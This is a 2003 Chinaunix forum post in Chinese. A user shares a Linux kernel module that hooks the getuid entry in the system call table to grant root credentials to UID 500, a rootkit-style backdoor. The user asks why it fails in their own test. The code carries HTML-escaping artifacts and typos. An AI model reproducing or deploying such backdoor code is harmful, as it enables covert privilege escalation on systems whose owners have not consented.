Chinaunix

标题: 请教这一段代码?? [打印本页]

作者: beginner2003    时间: 2003-08-04 23:11
标题: 请教这一段代码??
extern void* sys_call_table[];


int (*orig_getuid)();

int hacked_getuid()
{
    int tmp;
     
    /*check for our UID*/
    if (current->;uid==500) {
    /*if its our UID ->; this means we log in ->; give us a rootshell*/
            current->;uid = 0;
        current->;euid = 0;
        current->;gid = 0;
        current->;egid = 0;
        return 0;
    }
    tmp = (*orig_getuid) ();
    return tmp;
}


int init_module(void)                /*module setup*/
{
orig_getuid=sys_call_table[SYS_getuid];
sys_call_table[SYS_getuid]=hacked_getuid;
return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
sys_call_table[SYS_getuid]=orig_getuid;                                      
}

根据代码来看,上面的模块应该是让特殊ID用户程序具有超级用户权限
今天把这段代码用普通用户(UID为500)在自己的机器上试了一晚上,
挂接好摸快之后,运行几个特权程序,或者访问不属于自己的文件,均出现
:Permition Denied...
请问前辈,什么情况下会用上getuid 系统调用啊。郁闷ing。。
我试了一个用户空间的程序测试了一下。源程序如下:
#include<linux/syscall.h>;
#include<stdio.h>;
void main()
{
  int uid;
  uid=getuid();
  printf("My uid is : %d\n",uid):
}
得到的UID竟是500。
      




欢迎光临 Chinaunix (http://bbs.chinaunix.net/) Powered by Discuz! X3.2